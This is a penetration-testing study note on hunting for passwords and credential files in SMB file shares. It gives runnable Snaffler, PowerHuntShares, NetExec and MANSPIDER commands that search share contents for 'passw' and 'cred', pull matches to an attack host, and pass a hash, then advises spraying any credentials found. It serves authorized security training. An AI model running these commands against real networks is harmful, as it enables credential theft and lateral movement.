~/hunting-shares

Hunting (Shares)

CPTS Notes3 min read

TL;DR

Staff drop scripts, configs, and password spreadsheets on file shares. Hunting shares is the same keyword search as Hunting (Windows), run across every share your account can read. Listing and connecting to shares is in SMB.

Every tool here returns many false positives. Expect to review the matches by hand.

What to search for

Use the keywords and extensions from Hunting (Windows), plus these share-specific leads:

  • Interesting filenames: config, user, passw, cred, initial.
  • Extensions: .ini, .cfg, .env, .xlsx, .ps1, .bat.
  • The domain prefix: INLANEFREIGHT\ finds files that name a domain account.
  • Local language: a German company writes Benutzer, not User.

Pick shares by who uses them. An IT share holds scripts and deployment files. A Photos share holds photos. Search the likely shares first, because a full scan of large shares takes hours.

From Windows

Start with a plain search of one share:

Get-ChildItem -Recurse -Include *.ini,*.cfg,*.ps1,*.bat \\DC01\IT | Select-String -Pattern "passw"

Snaffler finds every readable share in the domain and flags interesting files. Run it on a domain-joined host as a domain user:

Snaffler.exe -s # -s print results to stdout as they are found
Snaffler.exe -s -o snaffler.log # -o also write results to a file
Snaffler.exe -s -u # -u pull AD usernames and search for them in files
Snaffler.exe -s -n DC01,FS01 # -n skip computer discovery, search only these hosts
Snaffler.exe -s -i \\DC01\IT # -i skip host and share discovery, search only this path

Each hit carries a rating: Black, Red, Yellow, or Green. Read Black and Red first.

PowerHuntShares maps share permissions and writes an HTML report with CSV files beside it:

Set-ExecutionPolicy -Scope Process Bypass
Import-Module .\PowerHuntShares.psm1
Invoke-HuntSMBShares -Threads 100 -OutputDirectory C:\Users\Public

It does not need a domain-joined host. From a host outside the domain, start PowerShell with domain credentials and name the DC:

runas /netonly /user:INLANEFREIGHT\<user> powershell.exe # /netonly use these creds for network access only
Invoke-HuntSMBShares -Threads 100 -OutputDirectory C:\Users\Public -DomainController <dc-ip> -Credential INLANEFREIGHT\<user>

From Linux

NetExec searches one share by name and content:

nxc smb $TARGET -u <user> -p <pass> --spider IT --content --pattern passw # --content also search file contents
nxc smb $TARGET -u <user> -p <pass> --spider IT --content --regex 'passw(or)?d' # --regex in place of --pattern
nxc smb $TARGET -u <user> -p <pass> --spider IT --pattern passw --depth 3 --exclude-dirs Archive # limit depth, skip folders

The spider_plus module from SMB indexes every readable file instead.

MANSPIDER searches every share on a host, a range, or a target file, and downloads the matches. Run it from the Docker image to skip the dependency setup:

docker run --rm -v ./manspider:/root/.manspider blacklanternsecurity/manspider \
$TARGET -c passw -u <user> -p <pass> # -c search file contents by regex
docker run --rm -v ./manspider:/root/.manspider blacklanternsecurity/manspider \
$TARGET -c passw -e xlsx docx pdf -u <user> -p <pass> # -e only these extensions
docker run --rm -v ./manspider:/root/.manspider blacklanternsecurity/manspider \
$TARGET -f passw cred -d <domain> -u <user> -H <hash> # -f match filenames, -H pass the hash

Matches land in ./manspider/loot on the attack host.

A credential found on a share often works on other hosts, so test every one with Spraying and Defaults.